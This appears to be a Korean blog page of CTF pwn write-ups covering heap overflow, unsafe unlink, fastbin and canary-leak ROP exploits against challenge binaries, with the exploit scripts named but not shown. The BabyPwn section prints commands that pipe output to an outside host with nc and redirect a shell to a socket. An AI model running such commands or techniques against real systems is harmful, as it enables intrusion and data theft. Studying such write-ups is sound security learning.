holinder4S

## Codegate CTF_2017(messenger, pwn)

[Summary]

1. heap overflow 취약점(사이즈 체크를 하지 않아서)

2. unsafe unlink 취약점을 이용하여 공격(쉘코드 이용) & Memory Leak

[Analysis] 

  messenger 문제는 [그림 1]과 같이 64bit 바이너리로 보호기법으로는 Stack Canary가 걸려있고 NX는 걸려있지 

않은 것을 확인할 수 있다. 실행시키면 마찬가지로 [그림 18]과 같이 5가지의 단순한 메뉴를 가지고 있는 

프로그램이다. 1번 메뉴는 Leave message기능으로 사용자 입력을 받아 힙에 동적으로 할당하여 message를 

남기는 기능을 수행한다. 2번 메뉴는 Remove message 기능으로 남긴 메시지를 지우는 기능을 수행한다. 

3번 메뉴는 Change message 기능으로 남긴 메시지를 수정할 수 있는 기능을 제공한다. 4번 메뉴는 입력한 

메시지를 확인하는 메뉴이다. 마지막으로 5번 메뉴는 exit 기능으로 단순히 프로그램을 종료하는 기능을 

제공하는 메뉴이다.

 전체 프로그램을 IDA를 통해 분석한 결과 이 프로그램의 몇 가지 특징을 간단히 정리해보면

   1. Leave 메뉴로 남길 수 있는(동적할당으로 힙청크를 생성할 수 있는 횟수) 메시지는 2개로 제한되며,

   2. uaf를 막기 위해 삭제된 청크를 보거나 할 경우 에러를 띄우며,

   3. Change 메뉴를 이용할 때 size를 체크하지 않아 힙 오버플로우를 유발한다.

 이제 이러한 특징들을 이용하여 이 프로그램의 취약점을 공략할 건데 위에서 정리한 프로그램의 특징 중 힙

오버플로우가 발생하는 코드는 아래 [그림 1]과 같다.

[그림 1] 힙 오버플로우 발생 코드

 따라서 이 취약점을 확인하기 위해 IDA를 이용하여 동적 디버깅을 해볼건데 시나리오는 우선 1번 메뉴(Leave)를

이용하여 2개의 메시지를 남긴 후 3번 메뉴(Change)를 이용하여 사이즈 체크를 하지 않는 점을 이용하여 2번째 

힙 청크를 덮어씌울 수 있는지 확인하는 것이다. 이 시나리오대로 실행하면 아래 [그림 2]와 같이 힙 오버플로우가

발생하여 다른 힙 청크를 덮어씌우는 것을 확인할 수 있다.

[그림 2] 힙 오버플로우 확인

 이제 이를 어떻게 활용할 것인가에 대해 생각을 해보아야 하는데 처음에는 1번 leave메뉴를 2번 사용하여 힙 2개를

malloc으로 할당 받은 후 3번 Change메뉴를 이용하여 1번째 힙 청크에서 오버플로우를 시켜 2번째 힙 청크의 헤더를

바꾼다음 2번 remove메뉴를 이용하여 2번째 힙 청크를 free 시키고 마지막으로 1번 메뉴를 다시 이용하여 힙 청크를

새로 할당 받을 대 변조된 힙 청크의 헤더로 인해 got영역에 malloc 할당이 되어 원하는 값을 쓰려고 했다.

 하지만 이 방법이 제대로 되지 않아 다른 방법을 찾기위해 malloc을 해주는 함수와 free를 해주는 함수를 분석 

하다보니 free역할을 하는 함수 부분 중 다음 [그림 3]의 코드에서 free하는 현재 청크의 bk의 fd를 현재 청크의 

fd로 바꾸는 unlink 하는 과정에서 취약점이 발생하여 임의의 주소에 현재 청크의 fd(다음 힙 청크(next chunk, fd))

의 주소를 쓸 수 있다는 것을 확인하였다.

[그림 3] free 내의 unlink 취약점

 이러한 취약점을 바탕으로 페이로드를 구성하여 실행하면 아래 [그림 4, 5]와 같은 힙 상황과 실제 got영역에 있는

exit()함수의 got(0x602070)에 현재 힙 청크의 fd주소가 덮어씌어지는 것을 확인할 수 있으며 마지막으로 exit()

함수를 트리고하기 위해 마지막 Quit 메뉴를 이용하면 exit함수가 실행되면서 덮어씌어진 got로 넘어가게 되고 

이는 힙 주소이다.

 만약 이 부분에 쉘코드가 있다면 NX도 걸려있지 않기 때문에 실행가능하게 되므로 최종 페이로드 구성에서는

got를 덮은 이 후 그 주소(2번째 힙 청크 다음 3번째 힙 청크가 될 곳)에 2번 Change 메뉴를 통해 쉘코드를

집어넣은 후 Quit 메뉴를 실행하면 정상적으로 쉘코드가 실행될 것이다.

[그림 4] next chunk's bk 수정

[그림 5] exit()'s GOT overwrite

 여기까지 잘 왔는데 마지막으로 3번째 문제가 생긴다. 위 [그림 3]에서 이전 청크의 fd에 현재 청크의 fd가 덮어

씌어지는데 마찬가지로 아래 [그림 6]의 코드에 의해 unlink동작에서는 현재 청크의 bk에 이전 청크의 bk가 덮어

씌어지는데 이 때문에 쉘코드가 중간에 끊기게 된다.

[그림 6] free 내의 unlink 쉘코드 문제점

 이를 해결하기 위해서 생각해낸 방법은 2번째 힙 청크의 데이터 영역에 쉘코드를 집어넣고 got가 가리키는

곳에는 전체 쉘코드가 아니라 2번째 힙청크의 데이터 영역의 주소를 push; ret; 하는 쉘코드만 집어넣으면

쉘코드가 짤리지 않고 잘 동작하게 된다. 이를 하기 위해서는 2번째 힙 청크의 데이터 영역의 주소를 알아야

하는데 이는 힙 주소 릭을 이용해서 오프셋 계산을 해야 한다.

 힙 주소를 릭하는 방법은 babypwn에서 주소 릭하는 방식과 비슷하게 먼저 Leave 메뉴를 이용해 힙 청크

하나를 생성하고 Change 메뉴를 이용하여 1번째 청크의 fd의 bk이전까지 A로 가득(64개) 채운 다음 View

메뉴를 이용하여 1번째 청크의 fd의 bk를 릭하고 주소 계산(+0x60)을 한다. 그리고 마지막으로 quit메뉴를

통해 트리거를 하면 아래 [그림 7]과 같이 쉘을 딸 수 있다.

[Exploit Code] - messenger_exploit.py

[Get Shell & Flag~~!!!!]

[그림 7] Get Shell & Get Flag("1_wan3_y0ur_m3ssenger$%")

끝~!

## Codegate CTF_2017(BabyPwn, pwn)

[Summary]

1. Stack Overflow & Stack Canary => Canary Leak(memory leak) & ROP

2. 서버 쉘 획득 가능, 리다이렉션 필요 => nc 사용 또는 "/bin/sh -i <&4 >&4 2>&4"명령으로 클라이언트에서 쉘 획득

[Analysis] 

  BabyPwn 문제는 [그림 1]과 같이 32bit 바이너리로 보호기법은 Stack Canary와 NX가 걸려있는 것을 확인할 

수 있다. 실행시키면 마찬가지로 [그림 1]과 같이 3가지의 단순한 메뉴를 가지고 있는 프로그램이다. 1번째 메뉴는 

echo 기능을 하는데 입력 값을 받아 그대로 에코해주는 기능이며 2번째 메뉴는 reverse echo 기능 즉 입력받은 값을 

거꾸로 출력해주는 기능이다. 마지막 3번째 메뉴는 Exit 메뉴로 프로그램을 종료하는 메뉴이다.

[그림 1] babypwn 문제 보호 기법과 실행 화면

이 프로그램에서 echo 기능을 가진 부분을 IDA를 통해 분석해보면 [그림 2]와 같이 간단한 스택 버퍼오버플로우 취약점이 있는

것을 확인할 수 있다. 따라서 이 취약점을 이용하여 Exploit을 할 것인데 첫 번째 문제가 발생한다. 버퍼오버플로우 취약점은

있으나 Stack Canary가 있기 때문에 이 Canary값을 릭하여 알아내야 한다.

[그림 2] 스택 버퍼오버플로우 취약점

위 [그림 2]와 같이 v2변수는 ebp기준 -0x34위치인데 sub_8048907에서 사용자로부터 입력을 받지만

2번째 인자(0x64)만큼 사용자 입력을 받기 때문에 ret를 덮어씌울 수 있다. 하지만 위에서 말했듯이 Stack Canary가

걸려 있기 때문에 이 Canary를 릭하여 문제를 풀어야 하는데 우선 Canary가 있는 위치는 아래 [그림 3]과 같이

ebp기준 -0xc에 위치하게 된다. 그리고 참고로 이 문제같은 경우 아래 [그림 3]에서 보듯이 문제 자체가 서버

프로그램이고 fork()함수를 이용하여 사용자 클라이언트를 처리하기 때문에 Canary의 값이 매번 같아 한번만 Canary를

릭하면 이후 계속 그 Canary를 사용할 수 있다.

[그림 3] Stack Canary 위치 & fork() 함수

이제 Stack Canary의 위치와 fork()의 특성상 Canary가 바뀌지 않는다는 것을 알았고, 이 Canary의 값을 릭하여야

하는데 릭은 스택 버퍼오버플로우 취약점이 존재하는 1번 echo 메뉴를 통해 할 수 있다. 1번 echo 메뉴는 [그림 4]와

같이 send()함수를 이용하여 사용자가 입력한 문자열을 클라이언트에 출력해주는데 Stack Canary 바로 직전까지

문자열을 입력하고 strlen() 함수로 문자열의 길이를 체크한 후 send()함수의 인자로 출력할 바이트를 넣게 되는데

strlen()함수는 문자열의 끝(0x00)이라고 인식되는 부분까지의 길이를 반환해주기 때문에 사용자가 Stack Canary의

바로 직전까지 입력을 하면 뒤에 이어오는 Canary값도 strlen()에 의해 포함되기 때문에 Canary의 값을 릭할 수 있게 된다.

[그림 4] echo 기능 디컴파일 소스

이러한 점을 모두두 종합하면 아래 [그림 5]와 같은 스택 상황을 만들어 Canary 릭을 할 수 있다.

[그림 5] 스택 상황 & 스택 Canary 릭(같은 Canary 확인)

여기 까지 완료하고 첫 번째 문제는 끝났다. 이제 단순 스택 버퍼오버플로우기 때문에 RET만 system함수로 바꿔주고

인자 값을 원하는 command로 넣어주기만 하면 exploit은 끝나게 된다. 이 문제에서 2번째 문제는 system("/bin/sh")를

이용하여 쉘을 따려고 하면 서버에서 따지기 때문에 의미가 없다. stdin과 stdout을 dup2()함수를 이용하여 연결해주면

리모트로 쉘을 딸 수는 있지만 해당 바이너리에 dup2()함수가 존재하지 않기 때문에 rop를 하려면

libc를 릭하여 찾아야 한다.

따라서 이 문제를 해결하기 위해서 "command | nc my-IP my-port"명령을 이용하여 미리 열어둔 tcp포트에

command의 결과를 전송하도록 exploit을 하였다. 이렇게 원하는 명령을 system()함수의 인자로 넣는 rop로 하여야

하는데 이 때 command가 바이너리에 그대로 박혀있는 것이 아니기 때문에 주소 값을 모른다. 따라서 recv()함수로

rop를 하여 아래 [그림 6]과 같이 data영역(0x804b080)에 원하는 command를 쓰고 system()함수의 인자 값으로

넣는 방법을 사용하였다.

[그림 6] 최종 페이로드 & system("cat flag | nc x.x.x.x 4444")

 이제 다 끝났고 해당 페이로드대로 코드를 구성하여 exploit코드를 짜면 아래 [그림 7]과 같이 exploit 코드가 정상 

동작하여 미리 nc로 열어둔 포트로 명령어의 결과가 전송되어 플래그를 확인할 수 있다. 추가적으로 이렇게 nc를 

이용하는 방법외에 "/bin/sh -i <&4 >&4 2>&4"명령을 이용하여 파일 디스크립터의 리다이렉션을 잘 활용하여 

쉘을 딸 수도 있다.

[Exploit Code] - babypwn_exploit.py

[Get Shell & Flag~~!!!!]

[그림 7] 명령어 결과 확인 & Flag("Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^")

끝~!

## Christmas CTF_2016
    (whoissolo,100pts,pwn)

[Summary]

1. 2가지 시나리오로 풀이가 가능함(fastbin attack, unsorted bin attack)

2. heap 취약점(fastbin overwrite)을 이용해 특정 주소에 read/write 가능 -> 원하는 메뉴(stack overflow 유발) 활성화

3. 눈에 보이는 stack overflow 취약점을 이용해 memory leak

4. libc base를 leak -> rop(oneshot 가젯 막기 위해 patched libc 사용) -> execl()/system() rop 사용

[Analysis] 

- (https://drive.google.com/open?id=0B12bAVEUfDg7Q3JYdmxkRnRMSms) - (solo binary)
- (https://drive.google.com/open?id=0B12bAVEUfDg7a0ZTMDhORzVzVXc) - (patched_libc binary)

 우선 이 문제는 대회 때는 풀지 못한 문제이고 출제자(s0nsari)의 말을 들어보니 원래 의도한 unsorted bin attack으로 

풀지 않고 fastbin attack으로 푼 사람이 대부분이라고 했다. 

이 Write-up에서도 아직 unsorted bin attack에 대해 잘 모르고 익숙하지 않아 fastbin attack으로 exploit한 것에 대해 

설명할 것이다.

이 문제를 실행하면 아래 [그림 1]과 같은 메뉴 선택 창이 나타난다.

[그림 1] solo 실행

 총 5개의 메뉴가 있는데 1번은 말그대로 malloc()을 이용해서 힙영역에 할당하는 메뉴, 2번도 말그대로 free()함수를 

이용해 할당한 heap 을 free해주는 메뉴, 3번 list는 미구현, 4번 login은 나중에 분석하겠지만 특정 변수의 값을 체크하여

password를 묻는 기능을 가지고 있으며 간단한 bof 취약점이 존재하는 메뉴이고 5번은 프로그램 종료를 하는 메뉴이다.

이 바이너리를 IDA를 통해 확인해보면 main()함수는 아래 [그림 2]와 같다.

[그림 2] main()함수 분석

[그림 2]의 주석에도 달아놓았듯이 위 소스코드에 line number 40~46의 네번째 로그인 메뉴에서 

아주 간단한 BOF 취약점이 있고 이를 트리거하기 위해서는 qword_602080 변수의 값이 0이 아니어야 하는데

여기에 값을 넣기 위해서는 malloc으로 할당한 후 free를 하고 숨겨진 메뉴(201527)을 통해 free chunk의 fd값을 

overwrite 해야한다. 

 따라서 fd를 0x602080이 있는 영역으로 수정하고 malloc을 두 번 해주면 2번째 malloc에서 fd의 값을 참조하여 힙을 

할당하는데 그렇게 되면 0x602080주소에 값을 집어넣을 수 있게 된다.

 여기서 주의할 점이 하나 있는데 malloc할 때의 size가 중요하다. 처음 내가 문제를 풀때에는 Input Size를 5로 주었다.

(그림 3)(실제로 16바이트가 할당됨(allign)) 그렇게 한 후 fd값을 변조하고 malloc을 2번 했더니 다음 

[그림 4]과 같은 에러가 뜨면서 제대로 할당이 되지 않았다.(fd값은 할당받을 곳의 주소를 준다. -> 0x602080에 

값을 써야하므로 header를 생각해서 0x602080-0x10값으로 변조를 해주었다.)

[그림 3] malloc() 한 후의 상황

[그림 4] malloc 할당 실패

 [그림 4]와 같이 malloc() 할당이 되지 않는 이유는 size를 제대로 안 맞춰 주었기 때문인데 5바이트만큼 할당 

받겠다고 하면 malloc()함수가 할당해주는 바이트는 처음엔 32bit시스템에서는 16바이트 단위 그 뒤부터는 8바이트 

단위로 할당하고, 64bit시스템에서는 32바이트 단위 그 뒤부터는 16바이트 단위로 할당해준다. 그래서 [그림 3] 또는 

[그림 4]의 size부분에 0x21(prev_inuse bit 포함)이 들어 있는 것이다. 

 그런데 할당 받으려고 했던 0x602070부분을 확인해보면 [그림 5]와 같이 size부분이 0인 것을 확인할 수 있고 

실제 malloc 구현부를 보면 이 size값을 체크하여 위 [그림 4]와 같은 에러를 뱉어내는 것을 확인할 수 있고 우리는 

이 size값도 맞춰줄 필요가 있다.

[그림 5] 0x602070 size 부분

따라서 fd를 overwrite할 때 0x60206d부분으로 덮어씌워 주면 size부분이 아래 [그림 6]과 같이 0x7f가 되고 

우리는 size가 0x71(prev_inuse bit 포함)가 되도록만 맞춰주면 된다. 따라서 size가 0x71이 되도록 하는 바이트 

범위는 0x59(89) ~ 0x68(104)이면 되므로 이렇게 바이트만 맞춰서 할당해주면 아무 문제 없이 malloc 할당이 이루어진다.

[그림 6] 0x60206d size 부분

 따라서 이렇게 할당이 이루어지고 난 후에는 modify 메뉴를 통해서 0x60207d 부분부터 값을 채워 0x602080에 

0이 아닌 값을 집어넣고 login메뉴를 활성화 시킨 후 일반적인 BOF문제를 풀듯이 puts_plt로 메모리 릭을 한 후 

libc base addr을 구하고 execl() rop 페이로드를 작성한 후 exploit을 하면 된다. 자세한 사항은 아래 exploit code를

보면 된다.

 이 방법은 fastbin 으로 푼 방식이고 실제로 unsorted 방식으로 푸는게 출제자의 의도라고 했는데 이 방법은 차후 

공부를 좀 더 하고 업데이트를 할 계획이다.

[Exploit Code] - solo_exploit.py

[Get Shell~~!!!!] - local

[그림 7] - Get Shell~!

끝~!

## BoB CTF_2016(megabox,pwn)

[Summary]

1. memory leak이 간단하고 canary와 libc's base addr을 Leak해야함.

2. clone()함수로 sandbox를 걸어놓음. -> sandbox escape(?)를 해야함.

3. FULL RELRO가 걸려있어 got overwrite가 불가능

4. libc의 got overwrite는 가능한데 free함수를 사용할 경우 free_hook의 got를 realloc함수를 사용할 경우

    realloc_hook의 got를 overwrite해야함.

[Analysis]

- (https://drive.google.com/open?id=0B12bAVEUfDg7bjhNU1J2ZTZOOHc) - (megabox binary)
- (https://drive.google.com/open?id=0B12bAVEUfDg7NExKLTdRaWNfTHM) - (libc binary)

[그림 1] - main()함수 hex-ray

IDA를 이용하여 [그림 1]과 같이 바이너리를 뜯어보면 clone()함수로 fn이라는 함수를 sandbox에 넣어 동작시키는 것을 알 수 있다.

처음에는 이게 sandbox인 것조차 알지 못하고 대회때는 풀지 못했다. 

mmap()으로 0x41410000영역에 커스텀 스택의 ret를 간단하게 rop를 하여 one-shot가젯을 쓸 수 있을 거라 생각했는데 

그게 아니었다. sandbox에 막혔다.

그리고 보호기법은 Full RELRO였기 때문에 got overwrite가 불가능 했고, 따라서 libc의 got를 덮어쓸 수 있었다. 

아래 [그림 2]와 같이 조금 자세히 fn을 보면 1번 메뉴를 통해 커스텀 스택에 bof가 터지는게 너무 눈에 띄게 취약점이 보였고, 

2번 메뉴를 통해 Memory Leak을 할 수 있었는데 canary와 ret에 저장되어있는 clone+109의 주소를 릭해서 libc의 base addr를 

구할 수 있었고, 이를 통해 libc의 free_hook의 got를 oneshot가젯의 주소로 덮어씌워서 exploit이 가능했다.

[그림 2] - fn()함수

[Exploit Code] - megabox_exploit.py

[Get Shell~~!!!!]